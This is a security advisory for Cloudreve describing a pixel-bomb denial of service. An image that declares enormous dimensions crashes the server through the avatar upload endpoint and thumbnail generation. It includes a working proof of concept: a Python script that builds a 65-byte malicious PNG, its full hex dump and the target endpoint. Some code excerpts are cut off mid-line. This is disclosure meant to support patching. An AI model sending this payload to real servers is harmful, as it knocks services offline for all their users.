GHSA-g9j2-8w95-3vwv Cloudreve: Denial of Service - Image decompression / pixel bomb in thumbnail & avatar decoding crashes the server

• Go github.com/cloudreve/Cloudreve/v4: < 4.0.0-20260613024411-3607f79bb44c → fixed in 4.0.0-20260613024411-3607f79bb44c • Go github.com/cloudreve/Cloudreve/v3: <= 3.0.0-20250225100611-da4e44b77af4 (no fix yet)

Summary Cloudreve's built-in image processor decodes user-supplied images with Go's standard-library decoders (`image/png`, `image/jpeg`, `image/gif`) and guards only the compressed file size — never the *decoded* pixel dimensions. Go's decoders allocate a pixel buffer sized `bytesPerPixel × width × height` taken straight from the image header (e.g. a PNG's IHDR), with no upper bound on `width`/`height`. A tiny (tens-of-bytes) image that *declares* enormous dimensions therefore forces a multi-gigabyte-to-terabyte allocation (`make([]uint8, …)`), exhausting memory. The resulting out-of-memory condition is a fatal Go runtime error / kernel OOM-kill that `recover()` cannot catch, terminating the whole Cloudreve process for all users. Two reachable sinks share the same root cause: 1. Avatar upload (`PUT /api/v4/user/setting/avatar`) — decodes synchronously in the request handler. Any authenticated user. Cleanest single-request PoC. 2. Thumbnail generation (built-in generator, enabled by default) — decodes in the thumbnail queue worker. Reachable for the user's own files *and* for files inside a share, so a planted bomb can be (re)triggered through a public share link. Post-auth, low privilege. A single 65-byte upload deterministically takes the instance offline. Details Root cause — decode guarded by file size, not pixel count The built-in generator is the default image thumbnailer: ```go // inventory/setting.go @ 26b6b10 "thumb_builtin_enabled": "1", // ON by default "thumb_builtin_max_size": "78643200", // 75 MB — a *file size* cap "thumb_vips_enabled": "0", // libvips (which has its own limits) OFF by default ... "avatar_size": "4194304", // 4 MB — a *file size* cap ``` `Builtin.Generate` checks the on-disk/entity size, then hands the raw bytes to the stdlib decoders: ```go // pkg/thumb/builtin.go:144-152 @ 26b6b10 func (b Builtin) Generate(ctx context.Context, es entitysource.EntitySource, ext string, previous *Result) (*Result, error) { if es.Entity().Size() > b.settings.BuiltinThumbMaxSize(ctx) { // 75 MB compressed-size check ONLY return nil, fmt.Errorf("file is too big: %w", ErrPassThrough) } img, err := NewThumbFromFile(es, ext) // avatarSettings.MaxFileSize { // 4 MB cap return ...CodeFileTooLarge } return updateAvatarFile(c, u, c.GetHeader("Content-Type"), c.Request.Body, avatarSettings) } func updateAvatarFile(...) error { ext := "png" switch contentType { case "image/jpeg","image/jpg": ext="jpg"; case "image/gif": ext="gif" } avatar, err := thumb.NewThumbFromFile(file, ext) // I",len(d))+c+struct.pack(">I",binascii.crc32(c)&0xffffffff) sig=b'\x89PNG\r\n\x1a\n' W,H=0x7FFFFFFF,0x10 # 2147483647 x 16 ihdr=struct.pack(">IIBBBBB",W,H,8,6,0,0,0) # 8-bit, colour-type 6 (RGBA) png=sig+chunk(b'IHDR',ihdr)+chunk(b'IDAT',zlib.compress(b''))+chunk(b'IEND',b'') open('pixelbomb.png','wb').write(png) Go will attempt make([]uint8, 4*W*H) = 137,438,953,408 bytes (128 GiB) ``` Hex (entire file): ``` 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR 7fff ffff 0000 0010 0806 0000 0068 bce2 .............h.. e300 0000 0849 4441 5478 9c03 0000 0000 .....IDATx...... 0148 0689 d200 0000 0049 454e 44ae 4260 .H.......IEND.B` 82 ``` (Dimensions are tunable: `4·W·H` must stay ` (cloudreve)" or the Go runtime aborts fatally: fatal error: runtime: out of memory The Cloudreve process exits; all users get connection-…